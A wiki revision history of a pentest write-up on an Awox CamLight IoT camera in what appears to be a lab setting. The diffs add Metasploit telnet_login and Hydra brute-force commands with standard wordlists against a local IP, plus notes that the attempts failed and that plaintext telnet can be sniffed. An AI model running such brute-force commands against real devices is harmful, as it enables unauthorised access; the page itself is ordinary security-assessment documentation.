Awox CamLight Pentest - Revision history

VHorvathova at 21:51, 21 June 2021

2021-06-21T21:51:02Z

← Older revision		Revision as of 21:51, 21 June 2021
Line 129:		Line 129:
	This result was of course expected, bots need days and months to brute force telnet passwords of IoT devices, the important factor here is how much time one is willing to invest. Telnet brute force attacks on IoT devices are very popular and common nowadays, that's why the importance of a good username and password is so prevalent.		This result was of course expected, bots need days and months to brute force telnet passwords of IoT devices, the important factor here is how much time one is willing to invest. Telnet brute force attacks on IoT devices are very popular and common nowadays, that's why the importance of a good username and password is so prevalent.
	* Attempt at Hydra Telnet Login brute force exploit:		* Attempt at Hydra Telnet Login brute force exploit:
			$ hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt 192.168.0.130 telnet
	$ hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/rockyou.txt 192.168.0.130 telnet		$ hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/rockyou.txt 192.168.0.130 telnet
	~~Estimated~~ time: ~~9 hours~~ <br>		Elapsed time: several days <br>
	Results: ~~PENDING~~		Results: not successful
	== Used Hardware ==		== Used Hardware ==

VHorvathova at 21:49, 21 June 2021

2021-06-21T21:49:52Z

@@ Line 56: / Line 56: @@
   MAC Address: 7C:DD:90:AF:4E:7D (Shenzhen Ogemray Technology)
   Nmap done: 1 IP address (1 host up) scanned in 5.67 seconds
 After performing nmap and trying some other Kali tools but not discovering any more useful information, [https://www.openvas.org/ openVAS] was used, which is a vulnerability scanner that can be installed additionally on Kali. To install openVAS the following commands are needed:

VHorvathova at 19:19, 21 June 2021

2021-06-21T19:19:04Z

← Older revision		Revision as of 19:19, 21 June 2021
Line 98:		Line 98:
	== References ==		== References ==

	* https://~~wikipedia~~.org		* https://tools.kali.org/tools-listing
	* https:/~~/google.com~~

	[[Category:Pentesting]]		[[Category:Pentesting]]

VHorvathova at 09:35, 20 June 2021

2021-06-20T09:35:30Z

← Older revision		Revision as of 09:35, 20 June 2021
Line 87:		Line 87:
	Results: no match found <br>		Results: no match found <br>
	This result was of course expected, bots need days and months to brute force telnet passwords of IoT devices, the important factor here is how much time one is willing to invest. Telnet brute force attacks on IoT devices are very popular and common nowadays, that's why the importance of a good username and password is so prevalent.		This result was of course expected, bots need days and months to brute force telnet passwords of IoT devices, the important factor here is how much time one is willing to invest. Telnet brute force attacks on IoT devices are very popular and common nowadays, that's why the importance of a good username and password is so prevalent.
			* Attempt at Hydra Telnet Login brute force exploit:
			$ hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/rockyou.txt 192.168.0.130 telnet
			Estimated time: 9 hours <br>
			Results: PENDING
	== Used Hardware ==		== Used Hardware ==

VHorvathova at 09:21, 20 June 2021

2021-06-20T09:21:44Z

← Older revision		Revision as of 09:21, 20 June 2021
Line 85:		Line 85:
	<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> set VERBOSE true		<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> set VERBOSE true
	<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> run		<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> run
	Results: no match found		Results: no match found <br>
			This result was of course expected, bots need days and months to brute force telnet passwords of IoT devices, the important factor here is how much time one is willing to invest. Telnet brute force attacks on IoT devices are very popular and common nowadays, that's why the importance of a good username and password is so prevalent.

	== Used Hardware ==		== Used Hardware ==

VHorvathova at 09:17, 20 June 2021

2021-06-20T09:17:34Z

← Older revision		Revision as of 09:17, 20 June 2021
Line 75:		Line 75:
	=== Gaining access ===		=== Gaining access ===
	When trying to telnet to the camera, you are prompted with a username and password, which we don't know. Guessing several admin-password combinations was also not met with success. The vulnerability here would thus be: being able to listen on the plaintext telnet connection (which was successfully done with Wireshark) if the admin would access the camera. The SSH port is not open for access (telnet connection failed, plus no scans show the port), which would solve this vulnerability from the admin's perspective.<br>		When trying to telnet to the camera, you are prompted with a username and password, which we don't know. Guessing several admin-password combinations was also not met with success. The vulnerability here would thus be: being able to listen on the plaintext telnet connection (which was successfully done with Wireshark) if the admin would access the camera. The SSH port is not open for access (telnet connection failed, plus no scans show the port), which would solve this vulnerability from the admin's perspective.<br>
	* Attempt at Metasploit Telnet Login exploit:		* Attempt at Metasploit Telnet Login brute force exploit:
	$ msfconsole		$ msfconsole
	<b>msf6 ></b> use auxiliary/scanner/telnet/telnet_login		<b>msf6 ></b> use auxiliary/scanner/telnet/telnet_login
Line 83:		Line 83:
	<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> set THREADS 254		<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> set THREADS 254
	<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt		<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
	<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> set VERBOSE ~~false~~		<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> set VERBOSE true
	<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> run		<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> run
	Results:~~PENDING~~		Results: no match found

	== Used Hardware ==		== Used Hardware ==

VHorvathova at 22:51, 19 June 2021

2021-06-19T22:51:04Z

← Older revision		Revision as of 22:51, 19 June 2021
Line 97:		Line 97:
	* https://google.com		* https://google.com

	[[Category:~~IoT Development~~]]		[[Category:Pentesting]]

VHorvathova at 22:50, 19 June 2021

2021-06-19T22:50:49Z

← Older revision		Revision as of 22:50, 19 June 2021
Line 85:		Line 85:
	<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> set VERBOSE false		<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> set VERBOSE false
	<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> run		<b>msf6 auxiliary(scanner/telnet/telnet_login) ></b> run
			Results:PENDING

	== Used Hardware ==		== Used Hardware ==

VHorvathova at 22:43, 19 June 2021

2021-06-19T22:43:48Z

← Older revision		Revision as of 22:43, 19 June 2021
Line 75:		Line 75:
	=== Gaining access ===		=== Gaining access ===
	When trying to telnet to the camera, you are prompted with a username and password, which we don't know. Guessing several admin-password combinations was also not met with success. The vulnerability here would thus be: being able to listen on the plaintext telnet connection (which was successfully done with Wireshark) if the admin would access the camera. The SSH port is not open for access (telnet connection failed, plus no scans show the port), which would solve this vulnerability from the admin's perspective.<br>		When trying to telnet to the camera, you are prompted with a username and password, which we don't know. Guessing several admin-password combinations was also not met with success. The vulnerability here would thus be: being able to listen on the plaintext telnet connection (which was successfully done with Wireshark) if the admin would access the camera. The SSH port is not open for access (telnet connection failed, plus no scans show the port), which would solve this vulnerability from the admin's perspective.<br>
	* Attempt at Metasploit Telnet exploit:		* Attempt at Metasploit Telnet Login exploit:
	$ msfconsole		$ msfconsole
	<b>msf6 ></b> use auxiliary/scanner/telnet/telnet_login		<b>msf6 ></b> use auxiliary/scanner/telnet/telnet_login

VHorvathova at 22:43, 19 June 2021

2021-06-19T22:43:32Z

← Older revision		Revision as of 22:43, 19 June 2021
Line 75:		Line 75:
	=== Gaining access ===		=== Gaining access ===
	When trying to telnet to the camera, you are prompted with a username and password, which we don't know. Guessing several admin-password combinations was also not met with success. The vulnerability here would thus be: being able to listen on the plaintext telnet connection (which was successfully done with Wireshark) if the admin would access the camera. The SSH port is not open for access (telnet connection failed, plus no scans show the port), which would solve this vulnerability from the admin's perspective.<br>		When trying to telnet to the camera, you are prompted with a username and password, which we don't know. Guessing several admin-password combinations was also not met with success. The vulnerability here would thus be: being able to listen on the plaintext telnet connection (which was successfully done with Wireshark) if the admin would access the camera. The SSH port is not open for access (telnet connection failed, plus no scans show the port), which would solve this vulnerability from the admin's perspective.<br>
	Attempt at Metasploit Telnet exploit:		* Attempt at Metasploit Telnet exploit:
	$ msfconsole		$ msfconsole
	<b>msf6 ></b> use auxiliary/scanner/telnet/telnet_login		<b>msf6 ></b> use auxiliary/scanner/telnet/telnet_login